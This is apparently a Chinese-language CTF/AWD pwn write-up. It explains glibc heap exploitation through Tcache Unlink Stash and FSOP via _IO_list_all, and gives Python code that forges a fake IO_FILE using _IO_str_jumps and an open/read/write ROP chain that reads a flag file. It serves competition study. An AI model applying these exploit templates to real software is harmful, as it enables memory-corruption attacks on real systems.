0%

FSOP

拖了好久的堆上orw 和 FSOP
Tcache Unlink Stash
用_IO_list_all来攻击
这下全部总结一下吧

星盟AWD pwn1 首先只有一次malloc, 其余都是calloc, 并且禁用了fastbin.
用Tcache Unlink Stash, 原理是当smallbin中的chunk被取出的时候, 剩余的chunk会被放到对应的Tcache中, 那么如果将Tcache先填5个, 然后利用free 0x400, add 0x300, 就能获得对应的smallbin大小的chunk, 初始在Unosored Bin中, 当再次申请0x300大小的内存时, 这个smallbin 大小的chunk就会被放入smallbin中.
漏洞的利用是在从smallbin 中取出chunk的时候, 假设当前的small bin 是chunk2 -> chunk1, 那么在取出时仅检验chunk2 -> fd = chunk1, 这时如果我们将chunk2->bk改成我们想要攻击的地址, 就可以将chunk2 和对应的chunk2->bk都放到Tcache中, 这里需要注意的是取出smallbin 存在unlink操作, free_hook可能存在问题, _IO_list_all会好用一点.
然后我们攻击_IO_list_all 进行FSOP, 自己伪造一个IO_FILE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def Creat_File(rdi, addr, io_str_jump):
_flags = 0
vtable = io_str_jump - 0x8
fake_file = p64(_flags)
fake_file += p64(0x0) * 3 # read_ptr end base
fake_file += p64(0x0)
fake_file += p64(0x1) + p64(0x0)
fake_file += p64(rdi) + p64(0x0)
fake_file += p64(0x0) * 12
fake_file += p64(0x0) + p64(0x0)
fake_file += p64(0x0) + p64(0x0)
fake_file += p64(0x0) * 2
fake_file += p64(vtable)
fake_file += p64(addr) * 2
return fake_file

fp addr可以直接查看文件结构体.
2.24之后的libc版本有了vtable check, 不能直接伪造vtable, 这里我们用IO_str_jumps来替代, vtable = _IO_str_jumps - 0x8,
p ((struct _IO_strfile*)addr)->_s._free_buffer可以查看执行的命令是否为system, 本题中为setcontext+53
文件结构体中的_IO_buf_base为对应的参数rdi, 在_IO_2_1_stdin
中如果我们能够将_IO_buf_base修改, 就可以任意读写了.

1
p * (struct _IO_jump_t *) addr

这条指令可以看对应的vtable表.

之后是orw:
从libc中search:

1
pop_rdi = libc.search(asm('pop rdi\nret', arch='amd64')).next() + libc_base

简单的rop就好.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = './flag\x00\x00'  # + 0x20 
payload += p64(0) * 8
payload += p64(rsp - 0x90) # 0x68 rdi
payload += p64(0) * 2
payload += p64(0) * 2 # 78 80
payload += p64(0x30) # rdx
payload += p64(0)
payload += p64(rsp)
payload += p64(open_addr) # rcx
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(rsp - 0x10)
payload += p64(pop_rdx) + p64(0x30)
payload += p64(read_addr)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(rsp - 0x10)
payload += p64(pop_rdx) + p64(0x30)
payload += p64(write_addr)

orw也没那么麻烦, 把模板弄一下直接搞就好了.